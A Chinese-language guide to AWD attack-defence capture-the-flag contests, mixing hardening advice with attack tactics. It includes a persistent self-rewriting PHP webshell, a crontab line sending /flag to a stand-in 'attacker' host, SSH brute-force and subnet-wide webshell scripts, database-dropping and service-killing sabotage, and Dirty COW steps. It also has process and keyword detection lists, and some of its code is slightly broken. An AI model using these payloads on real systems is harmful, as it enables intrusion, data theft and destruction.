浅谈AWD攻防赛的生存攻略
字数 1299 2025-08-27 12:33:37
AWD攻防赛全面生存指南
一、AWD赛制概述
AWD (Attack With Defence) 是一种攻防对抗比赛模式,核心特点包括:
- 每个队伍维护2-3台服务器(Web服务器为主)
- 服务器存在多个漏洞(Web层、系统层、中间件层等)
- 攻击得分:利用漏洞攻击其他队伍服务器获取flag
- 防守得分:加固自身服务器防止被攻击
- flag周期性刷新(通常几分钟一轮)
关键规则
- flag存放位置:通常位于根目录(如
/flag或/f*) - 得分机制:
- 获取他人flag可得分
- 自己的flag被窃取会扣分
- 权限限制:通常只提供低权限用户账号(非root)
- 服务检查:主办方定期检查服务可用性,宕机会扣分
二、赛前准备策略
1. SSH连接管理
- 基础连接:
ssh username@ip -p port - 密钥登录:
sftp -i id_rsa username@ip
2. 密码安全
- 立即修改默认密码:
passwd # 修改系统密码 - MySQL密码修改:
SET PASSWORD FOR root@localhost = PASSWORD('newpass'); FLUSH PRIVILEGES;
3. 源码备份
- Web目录备份:
cd /var/www && tar -czvf /tmp/html.tgz html - 数据库备份:
mysqldump -uroot -p --all-databases --skip-lock-tables > /tmp/db.sql
4. 后门检测
- 使用D盾、Seay等工具扫描Web目录
- 重点关注可疑的PHP文件(如包含
eval、assert等函数)
5. 端口扫描
- 使用nmap/masscan扫描目标开放端口
- 重点关注:
- 22(SSH弱口令)
- 3306(MySQL弱口令)
- 6379(Redis未授权)
- 873(rsync未授权)
三、攻击战术手册
1. 常见攻击手段
-
Web漏洞利用:
- 文件包含、SQL注入、RCE等
- 使用预留后门(如
shell.php)执行命令:curl "http://target/shell.php" -d "cmd=cat /flag"
-
SSH弱口令爆破:
import paramiko def ssh_attack(ip, user, passwd): ssh = paramiko.SSHClient() ssh.connect(ip, username=user, password=passwd) stdin, stdout, stderr = ssh.exec_command('cat /flag') print(stdout.read())
2. 权限维持技巧
-
不死马(持续写入Webshell):
<?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); while(1){ file_put_contents('shell.php', '<?php eval($_POST[cmd]);?>'); system('touch -m -d "2018-12-01" shell.php'); usleep(5000); } -
定时任务:
(crontab -l ; echo "*/1 * * * * curl http://attacker/flag=$(cat /flag)") | crontab - -
隐藏Webshell:
- 使用
.开头的文件名(如.shell.php) - 使用
-开头的文件名(干扰删除命令)
- 使用
3. 干扰对手战术
- 批量删除数据库:
DROP DATABASE mysql; DROP DATABASE test; - 服务拒绝:
while true; do service apache2 stop; done - 垃圾流量攻击:
import requests for i in range(1,255): try: requests.post(f"http://192.168.1.{i}/shell.php", data={"cmd":"echo 1"}) except: pass
四、防御加固方案
1. 基础查杀
- 查找可疑文件:
find /var/www/html -name "*.php" -mmin -20 find / -name "*.php" | xargs grep -n "eval("
2. 文件监控脚本
# 简易文件监控
import hashlib, os
FILE_MD5 = {}
for root, _, files in os.walk('/var/www'):
for f in files:
path = os.path.join(root, f)
with open(path, 'rb') as fp:
FILE_MD5[path] = hashlib.md5(fp.read()).hexdigest()
# 定期检查MD5变化...
3. 不死马查杀
- 终止进程:
ps aux | grep www-data | awk '{print $2}' | xargs kill -9 - 竞争写入:
<?php while(1){ unlink('malware.php'); file_put_contents('malware.php', '<?php //cleaned?>'); }
4. 服务加固
- 禁用危险函数:
; php.ini配置 disable_functions = exec,passthru,shell_exec,system - 上传目录限制:
<Directory "/var/www/html/upload"> php_flag engine off </Directory>
5. 网络防护
- IPTables基础规则:
iptables -A INPUT -p tcp --dport 80 -j ACCEPT iptables -A INPUT -p tcp --dport 22 -j ACCEPT iptables -A INPUT -j DROP
五、自动化脚本开发
1. 批量攻击脚本
import requests
for ip in range(1,255):
try:
r = requests.post(
f"http://192.168.1.{ip}/shell.php",
data={"cmd":"cat /flag"},
timeout=1
)
print(f"[+] {ip}: {r.text}")
except: pass
2. 自动提交flag
import requests, json
flags = ["flag1", "flag2"] # 实际从攻击获取
for flag in flags:
requests.post(
"http://scoreboard/submit",
headers={"Content-Type": "application/json"},
data=json.dumps({"flag": flag})
)
3. 综合防御脚本
#!/bin/bash
# 自动监控脚本
while true; do
# 检查异常进程
ps aux | grep -E '(nc|bash|sh)' | grep -v grep && echo "Suspicious process!"
# 检查文件修改
find /var/www -name "*.php" -mmin -5 | while read file; do
echo "Modified: $file"
cp /backup/$(basename $file) $file
done
sleep 60
done
六、高级技巧
1. 流量分析
- 抓取HTTP流量:
tcpdump -s 0 -w traffic.pcap port 80 - 分析攻击行为:
- 使用Wireshark分析pcap文件
- 关注POST请求中的可疑参数
2. WAF部署
- PHP简易WAF:
<?php $blacklist = ['eval', 'system', 'passthru']; foreach($blacklist as $word){ if(strpos($_REQUEST['input'], $word) !== false){ die('Hack detected'); } }
3. 提权方法
- 脏牛漏洞(CVE-2016-5195):
gcc dirty.c -o dirty -pthread ./demo - SUDO漏洞(CVE-2017-1000367)
七、比赛策略总结
-
分工协作:
- 至少两人分别负责攻击和防守
- 建立实时沟通机制
-
时间管理:
- 第一轮优先加固自身服务
- 后续轮次攻防并行
-
信息收集:
- 记录所有发现的漏洞和payload
- 分析对手攻击方式
-
应急响应:
- 准备快速恢复脚本
- 保留多个备用后门
-
心理战术:
- 适时发动干扰攻击
- 注意隐藏自身攻击路径
本指南涵盖了AWD比赛的核心技术要点,实际比赛中需根据具体环境灵活调整策略。建议平时多收集各类漏洞的EXP,并熟练掌握Python脚本编写能力,这对比赛中的快速反应至关重要。